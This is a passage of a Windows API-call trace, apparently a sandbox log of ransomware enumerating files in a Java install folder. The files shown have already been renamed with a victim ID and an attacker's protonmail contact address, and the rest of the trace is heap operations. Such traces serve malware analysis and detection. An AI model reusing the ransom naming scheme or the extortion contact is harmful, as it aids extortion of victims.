	[0189.715] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4464d64e, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x4464d64e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x446738b3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xc138, dwReserved0=0x0, dwReserved1=0x0, cFileName="verify.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="VERIFY~1.Z9")) returned 1
	[0189.715] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x446738b3, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x446738b3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x44699a51, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x5f44, dwReserved0=0x0, dwReserved1=0x0, cFileName="w2k_lsa_auth.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="W2K_LS~1.Z9")) returned 1
	[0189.715] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x446738b3, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x446738b3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x44699a51, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1af58, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsAccessBridge-64.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="WINDOW~1.Z9")) returned 1
	[0189.715] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44699a51, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x44699a51, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x446bfd5e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2f13c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wsdetect.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="WSDETE~1.Z9")) returned 1
	[0189.715] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x446bfd5e, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x446bfd5e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x446e603b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13132, dwReserved0=0x0, dwReserved1=0x0, cFileName="zip.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="ZIPDLL~1.Z9")) returned 1
	[0189.715] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x446bfd5e, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x446bfd5e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x446e603b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13132, dwReserved0=0x0, dwReserved1=0x0, cFileName="zip.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="ZIPDLL~1.Z9")) returned 0
	[0189.715] FindClose (in: hFindFile=0x3fb2418 | out: hFindFile=0x3fb2418) returned 1
	[0189.715] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39625d8 | out: hHeap=0x750000) returned 1
	[0189.715] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x446e603b, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x446e603b, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x4470c237, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xd96, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="COPYRIGHT.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="COPYRI~1.Z9")) returned 1
	[0189.715] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x44f8a7f4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x44f8a7f4, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lib", cAlternateFileName="")) returned 1
	[0189.716] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\*", lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x44f8a7f4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x44f8a7f4, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3fb22d8
	[0189.716] FindNextFileW (in: hFindFile=0x3fb22d8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x44f8a7f4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x44f8a7f4, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0189.716] FindNextFileW (in: hFindFile=0x3fb22d8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x446e603b, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x446e603b, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x4470c237, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.properties.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="ACCESS~1.Z9")) returned 1
	[0189.716] FindNextFileW (in: hFindFile=0x3fb22d8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe451d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64", cAlternateFileName="")) returned 1
	[0189.716] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\*", lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe451d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3fb2298
	[0189.716] FindNextFileW (in: hFindFile=0x3fb2298, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe451d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0189.716] FindNextFileW (in: hFindFile=0x3fb2298, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4470c237, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x4470c237, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x44a9f9ed, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x362, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="jvm.cfg.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="JVMCFG~1.Z9")) returned 1
	[0189.716] FindNextFileW (in: hFindFile=0x3fb2298, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4470c237, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x4470c237, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x44a9f9ed, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x362, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="jvm.cfg.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="JVMCFG~1.Z9")) returned 0
	[0189.716] FindClose (in: hFindFile=0x3fb2298 | out: hFindFile=0x3fb2298) returned 1
	[0189.717] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39725e0 | out: hHeap=0x750000) returned 1
	[0189.717] FindNextFileW (in: hFindFile=0x3fb22d8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="applet", cAlternateFileName="")) returned 1
	[0189.717] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\applet\\*", lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3fb24d8
	[0189.717] FindNextFileW (in: hFindFile=0x3fb24d8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0189.717] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39725e0 | out: hHeap=0x750000) returned 1
	[0189.719] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39725e0 | out: hHeap=0x750000) returned 1
	[0189.721] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39725e0 | out: hHeap=0x750000) returned 1
	[0189.722] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39725e0 | out: hHeap=0x750000) returned 1
	[0189.722] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39725e0 | out: hHeap=0x750000) returned 1
	[0189.722] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fc5080 | out: hHeap=0x750000) returned 1
	[0189.722] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39725e0 | out: hHeap=0x750000) returned 1
	[0189.723] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39725e0 | out: hHeap=0x750000) returned 1
	[0189.723] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39725e0 | out: hHeap=0x750000) returned 1
	[0189.723] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39725e0 | out: hHeap=0x750000) returned 1
	[0189.724] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39625d8 | out: hHeap=0x750000) returned 1
	[0189.724] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x400a8b8 | out: hHeap=0x750000) returned 1
	[0189.726] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3ff78a0 | out: hHeap=0x750000) returned 1
	[0189.997] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x400a8b8 | out: hHeap=0x750000) returned 1
	[0190.000] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39725e0 | out: hHeap=0x750000) returned 1
	[0190.003] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x400a8b8 | out: hHeap=0x750000) returned 1
	[0190.016] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x40088b0, Size=0x4000) returned 0x3a193f8
	[0190.018] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x3a193f8, Size=0x8000) returned 0x401a8c0
	[0190.022] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x401a8c0, Size=0x10000) returned 0x3fd7088
	[0190.030] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x3fd7088, Size=0x20000) returned 0x3fd7088
	[0190.041] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x3fd7088, Size=0x40000) returned 0x40498d8
	[0190.651] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fc7080 | out: hHeap=0x750000) returned 1
	[0190.656] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40a98e8 | out: hHeap=0x750000) returned 1
	[0190.656] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39625d8 | out: hHeap=0x750000) returned 1
	[0190.657] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x400a8b8 | out: hHeap=0x750000) returned 1
	[0190.661] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40a98e8 | out: hHeap=0x750000) returned 1
	[0190.661] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40a98e8 | out: hHeap=0x750000) returned 1
	[0190.663] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40a98e8 | out: hHeap=0x750000) returned 1
	[0190.663] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39625d8 | out: hHeap=0x750000) returned 1
	[0190.665] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39625d8 | out: hHeap=0x750000) returned 1
	[0190.666] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39625d8 | out: hHeap=0x750000) returned 1
	[0190.668] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39625d8 | out: hHeap=0x750000) returned 1
	[0190.910] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39625d8 | out: hHeap=0x750000) returned 1
	[0190.911] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39625d8 | out: hHeap=0x750000) returned 1
	[0190.913] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40098b8 | out: hHeap=0x750000) returned 1
	[0190.914] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40098b8 | out: hHeap=0x750000) returned 1
	[0190.914] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40098b8 | out: hHeap=0x750000) returned 1
	[0190.916] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40098b8 | out: hHeap=0x750000) returned 1
	[0190.916] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39625d8 | out: hHeap=0x750000) returned 1
	[0190.917] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40198c0 | out: hHeap=0x750000) returned 1
	[0190.919] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40198c0 | out: hHeap=0x750000) returned 1
	[0191.239] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
	[0191.242] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
	[0191.316] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
	[0191.320] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40098b8 | out: hHeap=0x750000) returned 1
	[0191.321] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40098b8 | out: hHeap=0x750000) returned 1
	[0191.321] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40098b8 | out: hHeap=0x750000) returned 1
	[0191.321] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40098b8 | out: hHeap=0x750000) returned 1
	[0191.323] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40098b8 | out: hHeap=0x750000) returned 1
	[0191.325] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.327] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.328] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.330] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.372] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.374] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.375] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.378] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.379] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.533] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.535] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.536] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.538] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.539] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.541] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.542] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.544] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.546] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.547] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.549] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.550] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.552] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.553] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.555] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.557] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.559] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.560] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.583] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.585] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.586] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.739] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.741] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.742] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.744] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.745] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.747] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.749] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.750] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.752] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.754] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.755] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.756] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.758] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.760] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.760] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fe3088 | out: hHeap=0x750000) returned 1
	[0191.760] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
	[0191.764] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40c98e8 | out: hHeap=0x750000) returned 1
	[0191.767] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
	[0191.769] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
	[0191.771] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
	[0192.001] HeapFree (hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080) 
	[0192.001] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
	[0192.002] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
	[0192.004] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
	[0192.006] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
	[0192.007] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
	[0192.009] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
	[0192.011] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
	[0192.012] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
	[0192.015] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
	[0192.016] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
	[0192.018] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
	[0192.020] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
	[0192.021] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
	[0192.023] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
	[0192.025] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
	[0192.026] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
	[0192.028] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
	[0192.030] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
	[0192.031] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
	[0192.033] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
	[0193.183] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
	[0193.186] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
	[0193.188] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
	[0193.190] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
	[0193.192] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
	[0193.194] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
